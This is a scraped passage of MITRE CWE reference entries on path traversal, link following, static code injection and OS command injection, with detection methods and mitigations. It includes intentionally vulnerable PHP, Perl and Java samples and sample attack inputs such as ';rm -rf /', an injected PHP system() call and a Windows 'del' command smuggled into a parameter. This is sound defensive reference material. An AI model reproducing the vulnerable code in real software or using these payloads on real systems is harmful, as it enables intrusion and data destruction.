ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base23Relative Path Traversal
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base36Absolute Path Traversal
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class20Improper Input Validation
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class172Encoding Error
Research Concepts1000
+ Relationship Notes

Pathname equivalence can be regarded as a type of canonicalization error.

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

+ Research Gaps

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

+ Affected Resources
  • File/Directory
+ Relevant Properties
  • Equivalence
+ Functional Areas
  • File processing
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
WASC33Path Traversal
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP16Path Traversal
+ References
[R.22.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft. 2002.
[R.22.2] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.22.3] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[R.22.4] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>.
[R.22.5] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.22.6] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2013-07-17CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITREInternal
updated Demonstrative_Examples
Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
+ Alternate Terms
insecure temporary file:

Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

Operating Systems

Windows: (Sometimes)

UNIX: (Often)

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Access Control

Technical Impact: Read files or directories; Modify files or directories; Bypass protection mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

Technical Impact: Other

Remote Execution: Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since an ".LNK" file can be uploaded like a normal file.

+ Likelihood of Exploit

Low to Medium

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Observed Examples
ReferenceDescription
Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
Symlink attack allows local users to overwrite files.
Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
Second-order symlink vulnerabilities
Second-order symlink vulnerabilities
Symlink in Python program
Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
Signal causes a dump that follows symlinks.
Hard link attack, file overwrite; interesting because program checks against soft links
Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
Hard link race condition
Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
".LNK." - .LNK with trailing dot
Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory748CERT C Secure Coding Section 50 - POSIX (POS)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory8082010 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory980SFP Secondary Cluster: Link in Resource Name Resolution
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfCategoryCategory60UNIX Path Link Problems
Development Concepts (primary)699
ParentOfCompound Element: CompositeCompound Element: Composite61UNIX Symbolic Link (Symlink) Following
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant62UNIX Hard Link
Research Concepts (primary)1000
ParentOfCategoryCategory63Windows Path Link Problems
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant64Windows Shortcut Following (.LNK)
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant65Windows Hard Link
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base363Race Condition Enabling Link Following
Research Concepts1000
+ Relationship Notes

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

+ Research Gaps

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

+ Affected Resources
  • File/Directory
+ Functional Areas
  • File processing, temporary files
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLink Following
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT C Secure CodingPOS01-CCheck for the existence of links when dealing with files
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-10-29CWE Content TeamMITREInternal
updated Background_Details, Other_Notes
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Link Following
2009-05-27Failure to Resolve Links Before File Access (aka 'Link Following')

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID: 96
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

PHP

Perl

All Interpreted Languages

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read files or directories; Read application data

The injected code could access restricted data / files.

Access Control

Technical Impact: Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Technical Impact: Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Other

Technical Impact: Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Technical Impact: Hide activities

Often the actions performed by injected control code are unlogged.

+ Enabling Factors for Exploitation

This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(Bad Code)
Example Language: PHP 
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(Attack)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(Attack)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

+ Observed Examples
ReferenceDescription
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
chain: execution after redirect allows non-administrator to perform static code injection.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant97Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Relationship Notes

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

+ Affected Resources
  • File/Directory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Static Code Injection
Software Fault PatternsSFP24Tainted input to command
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2010-04-05CWE Content TeamMITREInternal
updated Description, Name
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2014-06-23CWE Content TeamMITREInternal
updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Direct Static Code Injection
2009-05-27Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
2010-04-05Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.

  2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Terminology Notes

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute unauthorized code or commands; DoS: crash / exit / restart; Read files or directories; Modify files or directories; Read application data; Modify application data; Hide activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(Bad Code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(Attack)
 
;rm -rf /

Which would result in $command being:

(Result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(Bad Code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(Attack)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(Result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(Bad Code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(Bad Code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform
// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(Bad Code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

+ Observed Examples
ReferenceDescription
Canonical example. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete blacklist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

